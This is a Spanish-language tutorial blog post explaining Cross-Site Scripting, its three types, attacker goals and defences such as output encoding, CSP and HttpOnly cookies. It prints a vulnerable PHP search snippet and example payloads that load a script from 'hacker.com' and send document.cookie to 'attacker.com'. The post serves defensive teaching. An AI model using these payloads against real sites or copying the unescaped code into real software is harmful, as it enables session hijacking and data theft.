Guía de Cross-Site Scripting (XSS): No dejes que otros programen tu web

Imagina que tienes un restaurante. Un cliente llega, coge el menú y, con un rotulador permanente, escribe: «Postre gratis para todos si gritan ‘Soy un hacker'». El camarero, que sigue las instrucciones al pie de la letra sin cuestionar nada, empieza a repartir pasteles gratis a todo el que grita la frase.

Felicidades, acabas de ser víctima de una inyección (injection). En el mundo digital, el Cross-Site Scripting (XSS) es exactamente eso: un atacante logra insertar scripts maliciosos (normalmente JavaScript) en páginas web que otros usuarios visualizan.

El problema real no es que el script se ejecute en el servidor (eso sería una inyección SQL), sino que se ejecuta en el navegador del usuario final. Es decir, el servidor de confianza le dice al navegador: «Oye, ejecuta esto, me lo ha dado un usuario así que debe de estar bien». Porque claro, confiar ciegamente en lo que un desconocido escribe en un formulario es una idea brillante. ¿Qué podría salir mal?

La Santísima Trinidad del XSS

No todos los XSS son iguales. Dependiendo de dónde se esconda el «regalito», podemos dividirlos en tres categorías principales:

1. XSS Reflejado (Reflected XSS)

Es el más común y «clásico». El script malicioso «rebota» en el servidor y se refleja inmediatamente en el navegador. Suele viajar en los parámetros de una URL.

  • Escenario: Te llega un link sospechoso: http://tu-banco.com/buscar?q=<script>alert('pwned')</script>.
  • Resultado: Si la web no filtra esa búsqueda, el navegador ejecutará el script. Es el equivalente a que alguien te lance una piedra con una nota pegada y tú, por inercia, leas la nota en voz alta.

2. XSS Persistente o Almacenado (Stored XSS)

Este es el hermano peligroso y con mala leche. Aquí, el script se guarda en la base de datos (database) del servidor.

  • Escenario: Un atacante deja un comentario en un foro:
"¡Gran post! <script src='http://hacker.com/malware.js'></script>".
HTML
  • Resultado: Cada vez que un usuario entre a leer ese comentario, su navegador descargará y ejecutará el script automáticamente. Es una trampa silenciosa que afecta a todos los visitantes. Es como dejar una mina antipersona en medio de un pasillo muy concurrido.

3. XSS basado en el DOM (DOM-based XSS)

Aquí la fiesta ocurre enteramente en el lado del cliente (client-side). El servidor ni siquiera se entera de que algo va mal. El ataque aprovecha vulnerabilidades en el código JavaScript de la propia página que maneja datos del Modelo de Objetos del Documento (Document Object Model o DOM) de forma insegura. Es el más difícil de detectar porque, para el servidor, la petición parece totalmente legítima.

Anatomía de un desastre: ¿Qué buscan con un script?

Si crees que un atacante solo quiere sacar un alert("Hacked") en tu pantalla para alimentar su ego, eres un optimista envidiable. El objetivo real suele ser mucho más oscuro:

  • Secuestro de sesión (Session Hijacking): El script roba la cookie de sesión (session cookie) del usuario y la envía al servidor del atacante. Ahora el hacker es tú, sin necesidad de saber tu contraseña.
  • Robo de información confidencial: Leer los datos que el usuario escribe en otros formularios (números de tarjeta, direcciones, etc.).
  • Redirecciones maliciosas: Estás en tu web de confianza y, de repente, acabas en una página de «clínica estética clandestina» o en un sitio de phishing que calca la estética de Microsoft 365.
  • Captura de pulsaciones (Keylogging): Registrar cada tecla que pulsas mientras estás en esa pestaña. Sí, cada una.

Nota mental: Si tu aplicación maneja datos sensibles y no tiene protección contra XSS, básicamente estás dejando la puerta de la caja fuerte abierta y con un cartel de «Bienvenidos».

«Pero si yo solo quería un buscador»: Un ejemplo práctico

Imagina una web de noticias con un buscador sencillo. El código (en un mundo ideal de piruleta y sin maldad) sería algo así:

<h1>Resultados para: <?php echo $_GET['search']; ?></h1>
PHP

Si busco «perritos», la web dice: Resultados para: perritos. Todo en orden. Pero, ¿qué pasa si busco esto?

<script>document.location='http://attacker.com/steal?cookie=' + document.cookie</script>
PHP

La web imprimirá:

<h1>Resultados para: <script>document.location='http://attacker.com/steal?cookie=' + document.cookie</script></h1>
JavaScript

El navegador leerá la etiqueta <script> y, como es un mandado, enviará la cookie de sesión del pobre usuario al servidor del atacante. El usuario verá una pantalla en blanco o una redirección, pero para entonces, su sesión ya tendrá un nuevo dueño.

Escudo y Espada contra el XSS: Cómo evitar el desastre

No todo está perdido. Para evitar que tu web sea el patio de recreo de un adolescente con demasiado tiempo libre, debes aplicar estas capas de defensa:

1. Saneamiento de entradas (Input Sanitization)

Consiste en limpiar lo que el usuario envía. Si alguien intenta meter una etiqueta <script>, tu sistema debería borrarla o neutralizarla. Sin embargo, no te fíes solo de esto; los atacantes son expertos en usar ofuscación (obfuscation) para saltarse filtros simples.

2. Codificación de salida (Output Encoding)

Esta es la regla de oro. Nunca, jamás, imprimas datos del usuario directamente en el HTML. Debes convertir los caracteres especiales en sus equivalentes HTML (entidades).

  • El símbolo < se convierte en &lt;.
  • El símbolo > se convierte en &gt;. Así, el navegador mostrará el texto en pantalla en lugar de ejecutarlo como código. Es la diferencia entre recibir un paquete que dice «BOMBA» y recibir una bomba de verdad.

3. Política de Seguridad de Contenido (Content Security Policy – CSP)

El CSP (Content Security Policy) es una cabecera HTTP que le dice al navegador: «Solo confía en scripts que vengan de estos dominios específicos». Si un atacante intenta inyectar un script de un sitio externo, el navegador lo bloqueará por sistema. Es como tener un portero en la discoteca con una lista de invitados muy estricta.

4. Atributo HttpOnly en Cookies

Configura tus cookies de sesión con el flag HttpOnly. Esto impide que JavaScript pueda acceder a ellas. Si el atacante no puede leer la cookie, el XSS duele, pero no te mata la sesión.

Tu Checklist de supervivencia contra el XSS

Si no quieres aparecer en las noticias por los motivos equivocados, asegúrate de marcar estas casillas:

Acción¿Por qué?
Codificar siempre la salidaEvita que el navegador interprete texto como código.
Usar frameworks modernosReact, Angular o Vue suelen escapado automático (pero no son infalibles).
Implementar CSP fuerteLimita dónde se pueden cargar y ejecutar scripts.
Validar en el servidorNo confíes en las validaciones de JavaScript del cliente; se saltan con un clic.
Cookies HttpOnlySi te roban el salón, al menos que no se lleven las joyas de la corona.

Conclusión

El Cross-Site Scripting es una prueba de que, en internet, la confianza es una debilidad. Si permites que los datos del usuario se conviertan en instrucciones para tu sistema, estás pidiendo problemas a gritos.

La seguridad no consiste en construir muros infranqueables, sino en no ser tan ingenuo como para ejecutar el código que un desconocido te pasa en un link.

Así que, ya sabes: saneamiento (sanitization), codificación (encoding) y un poco de paranoia saludable. Porque, al final del día, lo único que debería ejecutarse en tu web es lo que tú has decidido… y quizás algún anuncio molesto, pero eso ya es otro tipo de malware.

Carlos del Río
Especialista en tecnología y ciberseguridad con más de 18 años de experiencia en entornos educativos y corporativos. Cybernotes nace con el objetivo de aportar mi granito de arena para conseguir un mundo más ciberseguro y al mismo tiempo mejorar mis conocimientos. ¡Fuerza y Honor!

Últimos artículos

También te puede interesar...